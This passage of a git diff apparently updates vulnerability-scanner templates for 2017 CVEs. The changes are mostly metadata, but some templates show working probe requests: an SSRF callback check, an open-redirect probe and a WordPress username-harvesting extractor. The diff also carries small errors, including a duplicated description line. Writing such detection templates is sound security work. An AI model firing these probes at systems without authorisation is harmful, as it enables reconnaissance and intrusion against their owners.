cve-id: CVE-2017-15363 - cwe-id: CWE-98 - tags: cve,cve2017,restler,lfi + cwe-id: CWE-22 + tags: cve,cve2017,restler,lfi,edb requests: - method: GET @@ -35,3 +38,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-15647.yaml b/cves/2017/CVE-2017-15647.yaml index f88570d322..c996105f8a 100644 --- a/cves/2017/CVE-2017-15647.yaml +++ b/cves/2017/CVE-2017-15647.yaml @@ -1,19 +1,21 @@ id: CVE-2017-15647 info: - name: FiberHome - Directory Traversal + name: FiberHome Routers - Local File Inclusion author: daffainfo severity: high - description: On FiberHome routers, Directory Traversal exists in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value. + description: FiberHome routers are susceptible to local file inclusion in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value. reference: - https://www.exploit-db.com/exploits/44054 - https://www.cvedetails.com/cve/CVE-2017-15647 + - https://blogs.securiteam.com/index.php/archives/3472 + - https://nvd.nist.gov/vuln/detail/CVE-2017-15647 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-15647 cwe-id: CWE-22 - tags: cve,cve2017,lfi,router + tags: lfi,router,edb,cve,cve2017 requests: - method: GET @@ -30,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-15715.yaml b/cves/2017/CVE-2017-15715.yaml index 52ffeccdfc..9f941c774b 100644 --- a/cves/2017/CVE-2017-15715.yaml +++ b/cves/2017/CVE-2017-15715.yaml @@ -1,19 +1,21 @@ id: CVE-2017-15715 info: - name: Apache Arbitrary File Upload + name: Apache httpd <=2.4.29 - Arbitrary File Upload author: geeknik severity: high - description: In Apache httpd 2.4.0 to 2.4.29, the expression specified in could match '$' to a newline character in a malicious filename, rather than matching only the end of the filename. This could - be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename. + description: Apache httpd 2.4.0 to 2.4.29 is susceptible to arbitrary file upload vulnerabilities via the expression specified in , which could match '$' to a newline character in a malicious filename rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename. reference: - https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715 + - https://httpd.apache.org/security/vulnerabilities_24.html + - http://www.openwall.com/lists/oss-security/2018/03/24/6 + - https://nvd.nist.gov/vuln/detail/CVE-2017-15715 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2017-15715 cwe-id: CWE-20 - tags: cve,cve2017,apache,httpd,fileupload + tags: apache,httpd,fileupload,vulhub,cve,cve2017,intrusive requests: - raw: @@ -44,3 +46,5 @@ requests: - type: dsl dsl: - 'contains(body_2, "{{randstr_1}}")' + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-15944.yaml b/cves/2017/CVE-2017-15944.yaml index ffbe9d78c8..48d1b07c67 100644 --- a/cves/2017/CVE-2017-15944.yaml +++ b/cves/2017/CVE-2017-15944.yaml @@ -14,7 +14,7 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2017-15944 - tags: cve,cve2017,rce,vpn,panos,globalprotect + tags: kev,edb,cve,cve2017,rce,vpn,panos,globalprotect requests: - raw: diff --git a/cves/2017/CVE-2017-16806.yaml b/cves/2017/CVE-2017-16806.yaml index 1e252161ac..56a9e56ab6 100644 --- a/cves/2017/CVE-2017-16806.yaml +++ b/cves/2017/CVE-2017-16806.yaml @@ -4,16 +4,18 @@ info: name: Ulterius Server < 1.9.5.0 - Directory Traversal author: geeknik severity: high - description: "Ulterius Server before 1.9.5.0 allows HTTP server directory traversal via the process function in RemoteTaskServer/WebServer/HttpServer.cs." + description: Ulterius Server before 1.9.5.0 allows HTTP server directory traversal via the process function in RemoteTaskServer/WebServer/HttpServer.cs. reference: - https://www.exploit-db.com/exploits/43141 - https://nvd.nist.gov/vuln/detail/CVE-2017-16806 + - https://github.com/Ulterius/server/commit/770d1821de43cf1d0a93c79025995bdd812a76ee + - https://www.exploit-db.com/exploits/43141/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-16806 cwe-id: CWE-22 - tags: cve,cve2017,ulterius,traversal + tags: cve2017,ulterius,traversal,edb,cve requests: - method: GET diff --git a/cves/2017/CVE-2017-16877.yaml b/cves/2017/CVE-2017-16877.yaml index 6e6dae4f21..af409d474a 100644 --- a/cves/2017/CVE-2017-16877.yaml +++ b/cves/2017/CVE-2017-16877.yaml @@ -1,12 +1,14 @@ id: CVE-2017-16877 info: - name: Nextjs v2.4.1 LFI + name: Nextjs <2.4.1 - Local File Inclusion author: pikpikcu severity: high - description: ZEIT Next.js before 2.4.1 has directory traversal under the /_next and /static request namespace, allowing attackers to obtain sensitive information. + description: ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information. reference: - https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9 + - https://github.com/zeit/next.js/releases/tag/2.4.1 + - https://nvd.nist.gov/vuln/detail/CVE-2017-16877 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 @@ -31,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-17043.yaml b/cves/2017/CVE-2017-17043.yaml index 4f4eeac75f..e50a8de23b 100644 --- a/cves/2017/CVE-2017-17043.yaml +++ b/cves/2017/CVE-2017-17043.yaml @@ -1,18 +1,21 @@ id: CVE-2017-17043 info: - name: Emag Marketplace Connector 1.0 - Reflected Cross-Site Scripting (XSS) + name: WordPress Emag Marketplace Connector 1.0 - Cross-Site Scripting author: daffainfo severity: medium - description: The Emag Marketplace Connector plugin 1.0.0 for WordPress has reflected XSS because the parameter "post" to /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php is not filtered correctly. + description: WordPress Emag Marketplace Connector plugin 1.0 contains a reflected cross-site scripting vulnerability because the parameter "post" to /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php is not filtered correctly. reference: + - https://wordpress.org/support/topic/wordpress-emag-marketplace-connector-1-0-cross-site-scripting-vulnerability/ + - https://packetstormsecurity.com/files/145060/wpemagmc10-xss.txt + - https://wpvulndb.com/vulnerabilities/8964 - https://nvd.nist.gov/vuln/detail/CVE-2017-17043 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-17043 cwe-id: CWE-79 - tags: cve,cve2017,wordpress,xss,wp-plugin + tags: xss,wp-plugin,packetstorm,cve,cve2017,wordpress requests: - method: GET @@ -34,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2017/CVE-2017-17059.yaml b/cves/2017/CVE-2017-17059.yaml index c49c222a32..a2e97ad00d 100644 --- a/cves/2017/CVE-2017-17059.yaml +++ b/cves/2017/CVE-2017-17059.yaml @@ -1,19 +1,20 @@ id: CVE-2017-17059 info: - name: amtyThumb posts 8.1.3 - Reflected Cross-Site Scripting (XSS) + name: WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting author: daffainfo severity: medium - description: XSS exists in the amtyThumb amty-thumb-recent-post (aka amtyThumb posts or wp-thumb-post) plugin 8.1.3 for WordPress via the query string to amtyThumbPostsAdminPg.php. + description: WordPress amty-thumb-recent-post plugin 8.1.3 contains a cross-site scripting vulnerability via the query string to amtyThumbPostsAdminPg.php. reference: - https://github.com/NaturalIntelligence/wp-thumb-post/issues/1 + - https://packetstormsecurity.com/files/145044/WordPress-amtyThumb-8.1.3-Cross-Site-Scripting.html - https://nvd.nist.gov/vuln/detail/CVE-2017-17059 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-17059 cwe-id: CWE-79 - tags: cve,cve2017,wordpress,xss,wp-plugin + tags: xss,wp-plugin,packetstorm,cve,cve2017,wordpress requests: - method: POST @@ -37,3 +38,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2017/CVE-2017-17451.yaml b/cves/2017/CVE-2017-17451.yaml index 57ff8ab681..643729ab6e 100644 --- a/cves/2017/CVE-2017-17451.yaml +++ b/cves/2017/CVE-2017-17451.yaml @@ -1,18 +1,21 @@ id: CVE-2017-17451 info: - name: WP Mailster <= 1.5.4 - Unauthenticated Cross-Site Scripting (XSS) + name: WordPress Mailster <=1.5.4 - Cross-Site Scripting author: daffainfo severity: medium - description: The WP Mailster plugin before 1.5.5 for WordPress has XSS in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php. + description: WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php. reference: + - https://wordpress.org/plugins/wp-mailster/#developers + - https://packetstormsecurity.com/files/145222/WordPress-WP-Mailster-1.5.4.0-Cross-Site-Scripting.html + - https://wpvulndb.com/vulnerabilities/8973 - https://nvd.nist.gov/vuln/detail/CVE-2017-17451 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-17451 cwe-id: CWE-79 - tags: cve,cve2017,wordpress,xss,wp-plugin + tags: cve,cve2017,wordpress,xss,wp-plugin,packetstorm requests: - method: GET @@ -34,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2017/CVE-2017-17562.yaml b/cves/2017/CVE-2017-17562.yaml index 5ae1957e4b..2bb55101ff 100644 --- a/cves/2017/CVE-2017-17562.yaml +++ b/cves/2017/CVE-2017-17562.yaml @@ -1,20 +1,23 @@ id: CVE-2017-17562 info: - name: Embedthis GoAhead RCE + name: Embedthis GoAhead <3.6.5 - Remote Code Execution author: geeknik severity: high - description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked. + description: | + description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked. reference: - https://www.elttam.com/blog/goahead/ - https://github.com/ivanitlearning/CVE-2017-17562 - https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562 + - https://github.com/embedthis/goahead/issues/249 + - https://nvd.nist.gov/vuln/detail/CVE-2017-17562 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2017-17562 cwe-id: CWE-20 - tags: cve,cve2017,rce,goahead,fuzz + tags: cve,cve2017,rce,goahead,fuzz,kev,vulhub requests: - raw: @@ -95,12 +98,13 @@ requests: matchers-condition: and matchers: + - type: word + words: + - "environment variable" + - "display library search paths" + condition: and + - type: status status: - 200 - - - type: word - condition: and - words: - - "environment variable" - - "display library search paths" \ No newline at end of file +# Enhanced by mp on 2022/06/19 diff --git a/cves/2017/CVE-2017-18024.yaml b/cves/2017/CVE-2017-18024.yaml index f10df9314d..dc40bd3e87 100644 --- a/cves/2017/CVE-2017-18024.yaml +++ b/cves/2017/CVE-2017-18024.yaml @@ -1,10 +1,10 @@ id: CVE-2017-18024 info: - name: AvantFAX 3.3.3 XSS + name: AvantFAX 3.3.3 - Cross-Site Scripting author: pikpikcu severity: medium - description: AvantFAX 3.3.3 has XSS via an arbitrary parameter name to the default URI, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1. + description: AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1. reference: - https://hackerone.com/reports/963798 - http://packetstormsecurity.com/files/145776/AvantFAX-3.3.3-Cross-Site-Scripting.html @@ -14,7 +14,7 @@ info: cvss-score: 6.1 cve-id: CVE-2017-18024 cwe-id: CWE-79 - tags: cve,cve2017,xss,avantfax + tags: avantfax,hackerone,packetstorm,cve,cve2017,xss requests: - raw: @@ -42,3 +42,5 @@ requests: part: header words: - "text/html" + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2017/CVE-2017-18536.yaml b/cves/2017/CVE-2017-18536.yaml index d1ff0a60e6..4d105ea3b9 100644 --- a/cves/2017/CVE-2017-18536.yaml +++ b/cves/2017/CVE-2017-18536.yaml @@ -1,18 +1,20 @@ id: CVE-2017-18536 info: - name: Stop User Enumeration 1.3.5-1.3.7 - Reflected Cross-Site Scripting (XSS) + name: WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting author: daffainfo severity: medium - description: The Stop User Enumeration WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting (XSS) security vulnerability. + description: WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting. reference: - https://wpscan.com/vulnerability/956cc5fd-af06-43ac-aa85-46b468c73501 + - https://wordpress.org/plugins/stop-user-enumeration/#developers + - https://nvd.nist.gov/vuln/detail/CVE-2017-18536 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-18536 cwe-id: CWE-79 - tags: cve,cve2017,wordpress,xss,wp-plugin + tags: wpscan,cve,cve2017,wordpress,xss,wp-plugin requests: - method: GET @@ -34,3 +36,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2017/CVE-2017-18598.yaml b/cves/2017/CVE-2017-18598.yaml index 0c72ce02d6..974e3f8bae 100644 --- a/cves/2017/CVE-2017-18598.yaml +++ b/cves/2017/CVE-2017-18598.yaml @@ -1,35 +1,37 @@ -id: CVE-2017-18598 +id: CVE-2017-18598 -info: - name: Qards Plugin - Stored XSS and SSRF - author: pussycat0x - severity: medium - description: The Qards plugin through 2017-10-11 for WordPress has XSS via a remote document specified in the url parameter to html2canvasproxy.php - reference: - - https://wpscan.com/vulnerability/8934 - - https://wpscan.com/vulnerability/454a0ce3-ecfe-47fc-a282-5caa51370645 - - https://nvd.nist.gov/vuln/detail/CVE-2017-18598 - tags: cve,cve2017,wordpress,ssrf,xss,wp-plugin,oast - +info: + name: WordPress Qards - Cross-Site Scripting + author: pussycat0x + severity: medium + description: WordPress Qards through 2017-10-11 contains a cross-site scripting vulnerability via a remote document specified in the URL parameter to html2canvasproxy.php. + reference: + - https://wpscan.com/vulnerability/8934 + - https://wpscan.com/vulnerability/454a0ce3-ecfe-47fc-a282-5caa51370645 + - https://wpvulndb.com/vulnerabilities/8934 + - https://nvd.nist.gov/vuln/detail/CVE-2017-18598 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2017-18598 cwe-id: CWE-79 + tags: wp-plugin,oast,wpscan,cve,cve2017,wordpress,ssrf,xss -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}' - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "http" - - - type: word - part: body - words: - - "console.log" \ No newline at end of file +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}' + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + + - type: word + part: body + words: + - "console.log" + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2017/CVE-2017-18638.yaml b/cves/2017/CVE-2017-18638.yaml index 4e1ca013f5..19af342c52 100644 --- a/cves/2017/CVE-2017-18638.yaml +++ b/cves/2017/CVE-2017-18638.yaml @@ -1,11 +1,11 @@ id: CVE-2017-18638 info: - name: Graphite 'graphite.composer.views.send_email' SSRF + name: Graphite <=1.1.5 - Server-Side Request Forgery author: huowuzhao severity: high - description: Graphite's send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to SSRF. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web - server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information. + description: | + Graphite's send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to server-side request forgery (SSR)F. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information. reference: - http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html - https://github.com/graphite-project/graphite-web/issues/2008 @@ -28,3 +28,5 @@ requests: part: interactsh_protocol words: - "http" + +# Enhanced by mp on 2022/06/19 diff --git a/cves/2017/CVE-2017-3506.yaml b/cves/2017/CVE-2017-3506.yaml index d8e4d2cd0f..aeb8965d52 100644 --- a/cves/2017/CVE-2017-3506.yaml +++ b/cves/2017/CVE-2017-3506.yaml @@ -8,11 +8,13 @@ info: reference: - https://hackerone.com/reports/810778 - https://nvd.nist.gov/vuln/detail/CVE-2017-3506 + - http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html + - http://web.archive.org/web/20210124033731/https://www.securityfocus.com/bid/97884/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 7.4 cve-id: CVE-2017-3506 - tags: cve,cve2017,weblogic,oracle,rce,oast + tags: rce,oast,hackerone,cve,cve2017,weblogic,oracle requests: - raw: diff --git a/cves/2017/CVE-2017-3528.yaml b/cves/2017/CVE-2017-3528.yaml index 21895648c3..f4756f09b9 100644 --- a/cves/2017/CVE-2017-3528.yaml +++ b/cves/2017/CVE-2017-3528.yaml @@ -4,30 +4,28 @@ info: name: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect author: 0x_Akoko severity: medium - description: 'The Oracle Applications Framework component of Oracle E-Business Suite (subcomponent: Popup windows (lists of values, datepicker, etc.)) is impacted by open redirect issues in versions 12.1.3, 12.2.3, - 12.2.4, 12.2.5 and 12.2.6. These easily exploitable vulnerabilities allow unauthenticated attackers with network access via HTTP to compromise Oracle Applications Framework. Successful attacks require human interaction - from a person other than the attacker and while the vulnerability is in Oracle Applications Framework, attacks may significantly impact additional products. Successful attacks of this vulnerability can result - in unauthorized update, insert or delete access to some of Oracle Applications Framework accessible data.' + description: 'The Oracle Applications Framework component of Oracle E-Business Suite (subcomponent: Popup windows (lists of values, datepicker, etc.)) is impacted by open redirect issues in versions 12.1.3, 12.2.3, 12.2.4, 12.2.5 and 12.2.6. These easily exploitable vulnerabilities allow unauthenticated attackers with network access via HTTP to compromise Oracle Applications Framework. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Applications Framework, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Applications Framework accessible data.' reference: - https://blog.zsec.uk/cve-2017-3528/ - https://www.exploit-db.com/exploits/43592 - https://nvd.nist.gov/vuln/detail/CVE-2017-3528 + - http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2017-3528 cwe-id: CWE-601 - tags: cve,cve2017,oracle,redirect + tags: oracle,redirect,edb,cve,cve2017 requests: - method: GET path: - - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com" + - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cinteract.sh" matchers: - type: word words: - - 'noresize src="/\example.com?configName=' + - 'noresize src="/\interact.sh?configName=' part: body # Enhanced by mp on 2022/04/14 diff --git a/cves/2017/CVE-2017-3881.yaml b/cves/2017/CVE-2017-3881.yaml index ab883c8f87..12e351f92f 100644 --- a/cves/2017/CVE-2017-3881.yaml +++ b/cves/2017/CVE-2017-3881.yaml @@ -16,7 +16,7 @@ info: cvss-score: 9.8 cve-id: CVE-2017-3881 cwe-id: CWE-20 - tags: cve,cve2017,cisco,rce,network + tags: cve2017,cisco,rce,network,kev,msf,cve network: - inputs: diff --git a/cves/2017/CVE-2017-4011.yaml b/cves/2017/CVE-2017-4011.yaml index 77cda0cb40..2d27151229 100644 --- a/cves/2017/CVE-2017-4011.yaml +++ b/cves/2017/CVE-2017-4011.yaml @@ -1,14 +1,14 @@ id: CVE-2017-4011 info: - name: McAfee NDLP User-Agent XSS + name: McAfee Network Data Loss Prevention 9.3.x - Cross-Site Scripting author: geeknik severity: medium - description: McAfee Network Data Loss Prevention (NDLP) 9.3.x allows remote attackers to get session/cookie information via modification of the HTTP request. + description: McAfee Network Data Loss Prevention User-Agent 9.3.x contains a cross-site scripting vulnerability which allows remote attackers to get session/cookie information via modification of the HTTP request. reference: - https://medium.com/@david.valles/cve-2017-4011-reflected-xss-found-in-mcafee-network-data-loss-prevention-ndlp-9-3-x-cf20451870ab - https://kc.mcafee.com/corporate/index?page=content&id=SB10198 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-4011 + - https://nvd.nist.gov/vuln/detail/CVE-2017-4011 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 @@ -34,3 +34,5 @@ requests: part: header words: - "text/html" + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2017/CVE-2017-5487.yaml b/cves/2017/CVE-2017-5487.yaml index bb3c5441ce..d33e90763b 100644 --- a/cves/2017/CVE-2017-5487.yaml +++ b/cves/2017/CVE-2017-5487.yaml @@ -2,43 +2,55 @@ id: CVE-2017-5487 info: name: WordPress Core < 4.7.1 - Username Enumeration - author: Manas_Harsh,daffainfo,geeknik + author: Manas_Harsh,daffainfo,geeknik,dr0pd34d severity: medium description: WordPress Core < 4.7.1 is susceptible to user enumeration because it does not properly restrict listings of post authors via wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request. reference: - https://www.exploit-db.com/exploits/41497 - https://nvd.nist.gov/vuln/detail/CVE-2017-5487 + - https://www.wordfence.com/blog/2016/12/wordfence-blocks-username-harvesting-via-new-rest-api-wp-4-7/ + - https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2017-5487 cwe-id: CWE-200 - tags: cve,cve2017,wordpress + metadata: + shodan-query: http.component:"WordPress" + verified: "true" + tags: cve,cve2017,wordpress,wp,edb requests: - method: GET path: - "{{BaseURL}}/wp-json/wp/v2/users/" - "{{BaseURL}}/?rest_route=/wp/v2/users/" + stop-at-first-match: true matchers-condition: and matchers: - - type: status - status: - - 200 - - type: word - part: header - words: - - "application/json" + - type: word + part: body words: - '"id":' - '"name":' - '"avatar_urls":' condition: and + + - type: word + part: header + words: + - "application/json" + + - type: status + status: + - 200 + extractors: - type: json + part: body + name: "usernames" json: + - '.[] | .slug' - '.[].name' - -# Enahnced by mp 03/31/2022 diff --git a/cves/2017/CVE-2017-5521.yaml b/cves/2017/CVE-2017-5521.yaml index 08c8a6aa55..f14e526070 100644 --- a/cves/2017/CVE-2017-5521.yaml +++ b/cves/2017/CVE-2017-5521.yaml @@ -1,19 +1,23 @@ id: CVE-2017-5521 info: - name: Bypassing Authentication on NETGEAR Routers + name: NETGEAR Routers - Authentication Bypass author: princechaddha severity: high - description: An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices.They are prone to password disclosure via simple crafted requests to the web management server. + description: | + NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server. reference: - - https://www.cvedetails.com/cve/CVE-2017-5521/ - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/ + - http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability + - http://web.archive.org/web/20210123212905/https://www.securityfocus.com/bid/95457/ + - https://nvd.nist.gov/vuln/detail/CVE-2017-5521 + - https://www.cvedetails.com/cve/CVE-2017-5521/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2017-5521 cwe-id: CWE-200 - tags: cve,cve2017,auth-bypass,netgear + tags: cve,cve2017,auth-bypass,netgear,router,kev requests: - method: GET @@ -23,11 +27,14 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "right\">Router\\s*Admin\\s*Username<" - "right\">Router\\s*Admin\\s*Password<" condition: and - part: body + - type: status status: - 200 + +# Enhanced by mp on 2022/06/19 diff --git a/cves/2017/CVE-2017-5631.yaml b/cves/2017/CVE-2017-5631.yaml index 6dcc26746a..d8e29efb22 100644 --- a/cves/2017/CVE-2017-5631.yaml +++ b/cves/2017/CVE-2017-5631.yaml @@ -1,19 +1,20 @@ id: CVE-2017-5631 info: - name: CaseAware - Cross Site Scripting + name: KMCIS CaseAware - Cross-Site Scripting author: edoardottt severity: medium - description: An issue was discovered in KMCIS CaseAware. Reflected cross site scripting is present in the user parameter (i.e., "usr") that is transmitted in the login.php query string. + description: KMCIS CaseAware contains a reflected cross-site scripting vulnerability via the user parameter transmitted in the login.php query string. reference: + - https://www.openbugbounty.org/incidents/228262/ + - https://www.exploit-db.com/exploits/42042/ - https://nvd.nist.gov/vuln/detail/CVE-2017-5631 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5631 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-5631 cwe-id: CWE-79 - tags: cve,cve2017,xss,caseaware + tags: edb,cve,cve2017,xss,caseaware requests: - method: GET @@ -35,3 +36,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2017/CVE-2017-5638.yaml b/cves/2017/CVE-2017-5638.yaml index 23bcd8bc85..5da6dbb20d 100644 --- a/cves/2017/CVE-2017-5638.yaml +++ b/cves/2017/CVE-2017-5638.yaml @@ -8,12 +8,14 @@ info: reference: - https://github.com/mazen160/struts-pwn - https://nvd.nist.gov/vuln/detail/CVE-2017-5638 + - https://isc.sans.edu/diary/22169 + - https://github.com/rapid7/metasploit-framework/issues/8064 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.0 + cvss-score: 10 cve-id: CVE-2017-5638 cwe-id: CWE-20 - tags: cve,cve2017,struts,rce,apache + tags: apache,kev,msf,cve,cve2017,struts,rce requests: - raw: diff --git a/cves/2017/CVE-2017-5982.yaml b/cves/2017/CVE-2017-5982.yaml index 8896ef3a05..0332b376c6 100644 --- a/cves/2017/CVE-2017-5982.yaml +++ b/cves/2017/CVE-2017-5982.yaml @@ -1,19 +1,21 @@ id: CVE-2017-5982 info: - name: Kodi 17.1 Local File Inclusion + name: Kodi 17.1 - Local File Inclusion author: 0x_Akoko severity: high - description: Insufficient validation of user input is performed on this URL resulting in a local file inclusion vulnerability. + description: | + Kodi 17.1 is vulnerable to local file inclusion vulnerabilities because of insufficient validation of user input. reference: - https://cxsecurity.com/issue/WLB-2017020164 - - https://www.cvedetails.com/cve/CVE-2017-5982 + - https://www.exploit-db.com/exploits/41312/ + - https://nvd.nist.gov/vuln/detail/CVE-2017-5982 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-5982 cwe-id: CWE-98 - tags: cve,cve2017,kodi,lfi + tags: cve2017,kodi,lfi,edb,cve requests: - method: GET @@ -30,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/19 diff --git a/cves/2017/CVE-2017-6090.yaml b/cves/2017/CVE-2017-6090.yaml index 0e8728cf90..2dc16ebb62 100644 --- a/cves/2017/CVE-2017-6090.yaml +++ b/cves/2017/CVE-2017-6090.yaml @@ -8,12 +8,15 @@ info: reference: - https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/ - https://nvd.nist.gov/vuln/detail/CVE-2017-6090 + - https://www.exploit-db.com/exploits/42934/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2017-6090 cwe-id: CWE-434 - tags: cve,cve2017,phpcollab,rce,fileupload + metadata: + shodan-query: http.title:"PhpCollab" + tags: cve2017,phpcollab,rce,fileupload,edb,cve,intrusive requests: - raw: diff --git a/cves/2017/CVE-2017-7269.yaml b/cves/2017/CVE-2017-7269.yaml index c3897f688a..07f7419224 100644 --- a/cves/2017/CVE-2017-7269.yaml +++ 